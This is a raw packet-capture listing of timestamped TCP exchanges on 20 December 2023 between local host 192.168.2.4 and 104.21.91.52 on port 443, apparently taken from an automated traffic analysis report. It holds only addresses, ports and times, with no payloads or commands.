Dec 20, 2023 15:35:08.523345947 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.523358107 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.524287939 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.524305105 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.524348021 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.524353981 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.524380922 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.524395943 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.525055885 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.525070906 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.525116920 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.525122881 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.525165081 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.525985956 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.526001930 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.526108027 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.526114941 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.526134014 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.526153088 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.527194023 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.527208090 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.527250051 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.527255058 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.527265072 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.527292967 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.656080961 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.656102896 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.656164885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.656177044 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.656210899 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.656225920 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.656975031 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.656991959 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657052994 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.657058954 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657097101 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.657316923 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657332897 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657377958 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.657382965 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657406092 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.657418013 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.657517910 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657533884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657588005 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.657593966 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.657633066 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.658518076 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.658534050 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.658581972 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.658586979 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.658601999 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.658622980 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.659375906 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.659393072 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.659447908 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.659454107 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.659495115 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.660284042 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.660299063 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.660356045 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.660361052 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.660372972 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.660399914 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.661705971 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.661724091 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.661766052 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.661772013 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.661782026 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.661813974 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.663600922 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.663618088 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.663686991 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.663692951 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.663731098 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665054083 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665071011 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665118933 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665123940 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665149927 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665163040 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665174007 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665186882 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665201902 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665221930 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665241003 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665245056 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665251017 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665286064 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665291071 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665311098 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665323019 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665349007 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665355921 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665369034 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665375948 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665396929 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665404081 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665411949 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665421009 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665426016 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665462017 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665462971 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665493965 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665505886 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665510893 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665530920 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665543079 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665555954 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665560961 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665565968 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665596008 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665606022 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665623903 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665627003 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665633917 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665653944 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665678024 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665690899 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665692091 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665700912 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665735006 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665744066 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665761948 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665764093 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665771008 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665796995 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665813923 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665827990 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665828943 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665837049 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665868998 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665877104 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665895939 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665909052 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665913105 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665946007 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665947914 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665961981 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.665971994 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.665976048 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666002035 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666013956 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666032076 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666039944 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666044950 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666073084 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666086912 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666100979 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666101933 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666110992 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666142941 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666146040 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666169882 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666174889 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666179895 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666189909 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666213989 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666224003 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666232109 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666237116 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666259050 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666285992 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666286945 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666300058 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666309118 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666315079 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666342020 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666376114 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666380882 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666388035 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666414022 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666445971 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666465044 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666480064 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666486025 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666501045 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666501999 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666513920 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666534901 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666567087 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666574001 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666589022 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666634083 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666637897 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666647911 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666668892 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666673899 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666703939 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666704893 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666714907 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666726112 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666729927 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666739941 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666763067 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666766882 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666776896 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666795015 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666801929 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666824102 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666831017 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.666855097 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.666872025 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.667248964 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.691519976 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.691539049 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.691586018 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.691592932 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.691605091 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.691636086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692467928 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692482948 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692527056 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692547083 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692554951 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692584991 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692615032 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692617893 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692624092 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692651033 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692671061 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692672014 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692683935 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692692041 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692712069 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692715883 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692739010 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692744017 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692753077 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692766905 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692771912 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692794085 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692796946 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692810059 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692825079 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692830086 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692842007 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692866087 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692869902 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692876101 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692903042 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692920923 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692922115 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692931890 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692950010 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.692962885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.692962885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693001032 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693001986 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693011999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693037033 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693053007 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693061113 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693068981 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693090916 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693094969 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693119049 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693123102 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693147898 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693150043 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693164110 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693171024 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693175077 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693202972 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693206072 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693227053 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693236113 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693240881 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693265915 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693274975 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693288088 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693289995 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693304062 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693329096 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693347931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693357944 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693363905 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693372965 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693387985 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693408966 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693423033 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693432093 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693435907 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693455935 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693470001 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693473101 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693485975 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693506956 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693512917 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693530083 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693546057 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693548918 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693562984 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693571091 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693576097 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693628073 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693629026 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693639994 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693665028 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693681955 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693697929 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693700075 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693707943 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693730116 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693734884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693756104 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693757057 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693770885 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693773985 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693794012 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693799973 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693813086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693819046 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693839073 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693871975 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693876982 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693903923 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693907022 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693923950 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693939924 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693943977 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693962097 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.693979979 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693994999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.693998098 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694010019 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694037914 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694058895 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694060087 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694068909 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694102049 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694114923 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694120884 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694139957 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694149971 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694155931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694184065 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694189072 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.694200993 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.694209099 CET	443	49747	104.21.91.52	192.168.2.4
